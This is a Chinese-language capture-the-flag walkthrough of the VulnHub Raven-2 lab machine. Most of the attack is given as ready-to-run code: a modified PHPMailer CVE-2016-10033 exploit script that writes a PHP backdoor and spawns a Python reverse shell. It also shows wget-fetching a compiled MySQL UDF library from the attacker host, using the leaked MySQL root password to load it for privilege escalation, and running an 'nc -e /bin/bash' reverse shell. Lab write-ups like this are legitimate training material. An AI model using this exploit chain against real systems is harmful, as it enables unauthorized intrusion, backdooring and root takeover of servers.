前置知识

1.PHPMailer 是一个功能强大的 PHP 邮件发送库,它通过简洁的代码接口取代了 PHP 自带         的 mail() 函数,能轻松支持 SMTP 认证、HTML 邮件、附件等复杂功能

2.MySQL默认没有执行系统命令的功能,UDF可以给MySQL添加这个能力。

3.secure_file_priv 是MySQL的一个安全选项,用于限制文件导入导出操作的目录范围

   为空则说明可以进行任何的读写

环境搭建

https://www.vulnhub.com/entry/raven-2,269/

信息打点

kali扫描存活网段ip,排除kali本身得到靶场ip192.168.72.136

扫描ip全端口或者快速扫描常用端口

nmap -p- 192.168.72.136

这里考虑从web入手拿shell

目录扫描

dirb http://192.168.72.136

这里扫出来结果是有很多的实际上需要我们去批量打开查看,这里省去这个步骤直接来到目标目录(存在配置泄露)

http://192.168.72.136/vendor/

在redeme.md查看相关版本信息

这个版本是报过一堆漏洞的。可以在网上找exp,也可以kali中msf有集成漏洞库去找漏洞利用代码.

复制一份漏洞利用代码>>>p.py

cp /usr/share/exploitdb/exploits/php/webapps/40974.py p.py 

修改靶机地址和反弹shell后

Target: http://192.168.72.136/contact.php(邮件处理脚本 contact.php入口处
Backdoor: /1.php
Reverse shell to: 192.168.72.128:4444

 

#!/usr/bin/env python3
"""
# Exploit Title: PHPMailer Exploit v1.0 (Modified for Target)
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Modified by: User
# Version: PHPMailer < 5.2.18
# Tested on: Kali Linux
# CVE : CVE 2016-10033
"""

from requests_toolbelt import MultipartEncoder
import requests
import os
import sys

os.system('clear')
print("\n")
print("      PHPMailer Exploit CVE 2016-10033 - Modified for Target\n")

# ==================== 配置区(按需修改)====================
target = 'http://192.168.72.136/contact.php'   # 改为 contact.php
backdoor = '/1.php'                             # 后门文件名
LHOST = '192.168.72.128'                        # 你的Kali IP
LPORT = 4444                                    # 监听端口

# 写入路径(如果失败,尝试下面其他路径)
# 选项1:当前目录(推荐)
email_payload = '"attacker\\" -OQueueDirectory=/tmp -X./1.php server\" @protonmail.com'
# 选项2:绝对路径(如果选项1不行,取消下面这行注释,注释掉上面那行)
# email_payload = '"attacker\\" -OQueueDirectory=/tmp -X/var/www/html/1.php server\" @protonmail.com'
# ===========================================================

# 构造payload(不要修改)
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'{}\\\',{}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'.format(LHOST, LPORT)

fields = {
    'action': 'submit',
    'name': payload,
    'email': email_payload,
    'message': 'Pwned'
}

m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
headers = {'User-Agent': 'curl/7.47.0', 'Content-Type': m.content_type}
proxies = {}

print(f'[+] Target: {target}')
print(f'[+] Backdoor: {backdoor}')
print(f'[+] Reverse shell to: {LHOST}:{LPORT}')
print('[+] Sending evil shell to target...')

try:
    r = requests.post(target, data=m.to_string(), headers=headers, proxies=proxies)
    print(f'[+] POST Response Status: {r.status_code}')
except Exception as e:
    print(f'[-] POST request failed: {e}')
    sys.exit(1)

print('[+] Spawning evil shell..... BOOOM :D')

try:
    r = requests.get('http://192.168.72.136' + backdoor, headers=headers, proxies=proxies)
    if r.status_code == 200:
        print(f'[+] Exploited! Check your NC listener: {LHOST}:{LPORT}')
        print(f'[+] Backdoor accessible at: http://192.168.72.136{backdoor}')
    else:
        print(f'[-] Failed with status code: {r.status_code}')
        print('[-] Try changing the email_payload path option')
except Exception as e:
    print(f'[-] GET request failed: {e}')

新开一个终端并且启动监听>>反弹shell成功

敏感信息泄露

查看当前网站下wordpress

查看当前文件夹内容

ls -al wordpress/

cat wordpress/wp-config.php

查看配置文件

得到了用户名root的账号密码

符合mysql账号密码的提权条件

这里有两个选择

1.可以上在shell中写入后门进行上传udf动态库

2.可以搭建一个web服务(实战中自己购买一个云服务器就可以)来实现本地编译本地下载

编译UDF.so

searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc(编译成二进制文件)

新开一个kali终端开启http服务

回到web权限目标处进行访问下载

python -c 'import pty; pty.spawn("/bin/bash")'(交互式终端)

cd tmp

wget http://192.168.72.128:8080/udf.so

连接mysql相关语句

mysql -uroot -pR@v3nSecurity

select version();   #查看mysql版本

select @@basedir;   #确认mysql安装位置

show variables like '%basedir%';    #确认mysql安装位置

show variables like '%secure%';  #查看可导出文件位置(查看是否具有读写权限)

show variables like '%plugin%';   #查找插件位置

show variables like '%compile%';   #查看系统版本

use mysql;

权限提升

-- 创建表(表名改为 ab)
create table ab(line blob);

-- 插入UDF二进制文件
insert into ab values(load_file('/tmp/udf.so'));

-- 导出到MySQL插件目录
select * from ab into dumpfile '/usr/lib/mysql/plugin/udf.so';

-- 创建do_system函数
create function do_system returns integer soname 'udf.so';

-- 反弹shell(修改IP为你的Kali IP)
select do_system('nc 192.168.72.128 4444 -e /bin/bash');

收到反弹

权限验证

拿到flag

总结

1.拿到了web权限>>>>>存在mysql数据库配置泄露

2.泄露root且满足secure_file_priv为空>>>>>满足mysql提权

3.MySQL默认没有执行系统命令的功能,UDF可以给MySQL添加这个能力

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐